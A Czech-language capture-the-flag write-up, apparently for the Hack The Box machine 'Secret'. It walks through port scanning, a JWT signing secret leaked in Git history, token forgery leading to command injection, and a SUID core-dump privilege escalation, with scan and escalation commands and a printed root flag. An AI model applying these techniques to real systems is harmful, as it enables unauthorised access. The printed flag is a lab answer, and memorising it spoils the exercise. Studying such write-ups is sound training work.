tom@home.htb:~$

Blog o HTB

13 January 2021

Secret

Úvod a kontext

U Secret není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi JWT validace a důvěra v externí klíče a command injection.

Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k stabilní uživatelský přístup a proč po získání shellu dává smysl řešit SUID binárka nebo privilegovaný wrapper.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analýza zjištění

Zdrojové kódy a historie Git

Veřejně dostupná aplikace neprozrazovala jen běžný frontend, ale i zdrojové kódy API. V takové situaci nestačí číst jen aktuální soubory; důležitá je i historie Git repozitáře, protože právě v ní se často znovu objevují dříve odstraněná tajemství. Tady právě historie odhalila secret používaný pro podpis JWT tokenů.

Zneužití JWT a endpointu /logs

Jakmile byl známý signing secret, šlo vytvořit vlastní token s oprávněními administrátora. Tím se otevřel přístup k endpointu /logs, který nedostatečně odděloval uživatelský vstup od systémového příkazu. Výsledkem byla command injection a první shell jako dasith.

Získání přístupu

První uživatelský kontext

V této fázi už webová vrstva neřeší jen odpovědi aplikace, ale dává plnohodnotný shell jako dasith. To je klíčový moment celého řetězce: JWT problém sám o sobě nestačí, ale ve spojení s command injection už otevírá lokální enumeraci a další postup k rootovi.

$ cat user.txt
__CENSORED__

Eskalace oprávnění

Získání root flagu

Rozhodující zde byla vlastnost SUID binárky count. Program sice po spuštění shazoval efektivní UID, zároveň ale explicitně povoloval vytváření core dumpů. To je nebezpečná kombinace: proces může pracovat s citlivým obsahem souboru, spadnout a zanechat jeho data v crash dumpu, který už pak stačí rozbalit a prohledat.

Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.

/opt/code.c
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);

$ ./count
/root/root.txt
kill -BUS 1749

$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash/
$ strings CoreDump
6e5425d2d33643ebe4cafcb2174ec3ad

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - exploit - enumeration - privesc - hackthebox